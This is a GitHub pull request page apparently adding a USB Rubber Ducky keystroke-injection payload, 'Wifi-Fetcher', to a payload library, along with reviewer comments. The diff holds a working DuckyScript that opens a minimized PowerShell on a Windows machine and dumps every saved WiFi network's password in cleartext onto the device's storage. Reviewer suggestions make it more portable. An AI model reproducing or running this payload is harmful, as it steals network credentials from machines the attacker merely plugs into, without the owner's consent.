Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wifi-Fetcher Payload #425

Open
wants to merge 9 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 28 additions & 0 deletions payloads/library/exfiltration/Wifi-Fetcher
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
REM NAME: Wifi-Fetcher
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You have placed your payload in the wrong directory. Please ensure that your payloads are uploaded to the correct directory: payloads/library/exfiltration/Wifi-Fetcher/payload.txt

REM AUTHOR: nightcrafttrl1
REM DEVICE: RubberDucky
REM TARGETS: WINDOWS 7 or greater
REM DESCRIPTION: This payload will fetch the windows system for the passwords and other info about every wifi network the system can connect to,
REM After creating the directory and adjusting the delays, it IS basically plug 'n play
REM You are safe to plug out the rubber ducky once the minimized powershell windows closes by itself
REM
REM credits:ChatGPT helped a little here and there while debugging
REM DEPENDENCIES: NONE
REM TOTAL_EXEC_TIME: 18.5 seconds (may vary based of taged specifications)
DEFINE DISC "the end User of the Script IS the only Person Held responsible for the harm or leak of information caused by the payload, Neither the creator of the Script nor the Distribute(Hak5 LLC.) shall BE Held responsible for any damages caused."
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would change this to be a REM Rather than a DEFINE

REM
DEFINE INSTR "IF YOU DON'T HAVE THE DIRECTORY D:\loot\PwnedWIFI\ ON THE DUCKY, THIS SCRIPT WILL NOT WORK. EITHER CREATE THE DIRECTORY OR MODIFY THE PAYLOAD TO STORE THE OUTPUT FILE ELSEWHERE"
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would change this to be a REM Rather than a DEFINE

REM
REM
REM
DELAY 1000
REM Switch to HID STORAGE mode
ATTACKMODE HID STORAGE
DELAY 4000
GUI r
DELAY 100
STRINGLN cmd
DELAY 220
STRINGLN color FE
DELAY 50
STRINGLN start /MIN powershell "netsh wlan show profiles | Select-String 'All User Profile\s*:\s*(.+)' | ForEach-Object { $_ -match 'All User Profile\s*:\s*(.+)'; $matches[1] } | ForEach-Object { netsh wlan show profile name=$_ key=clear } | Out-File -FilePath 'D:\loot\PwnedWIFI\all_wifi_info.txt'; netsh wlan export profile key=clear | Out-File -Append -FilePath 'D:\loot\PwnedWIFI\all_wifi_passwords.txt';" & exit
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A better approach for this is to use dynamic code that locates the Duckys drive location. You can use PowerShell in order to locate the drive name DUCKY which is the default drive name.

for example:

Get-Volume | Where-Object { $_.FileSystemLabel -eq 'DUCKY' } | Select-Object -ExpandProperty DriveLetter

This dynamically located the drive letter for the ducky. Keep in mind that not everyone will be using the default label of DUCKY it is recommended you add a DEFINE for the label : DEFINE #DUCKY_DRIVE_LABEL DUCKY this allows the user to easily configure the payload for their specific configuration.

DEFINE #DUCKY_DRIVE_LABEL DUCKY
STRINGLN Get-Volume | Where-Object { $_.FileSystemLabel -eq '#DUCKY_DRIVE_LABEL' } | Select-Object -ExpandProperty DriveLetter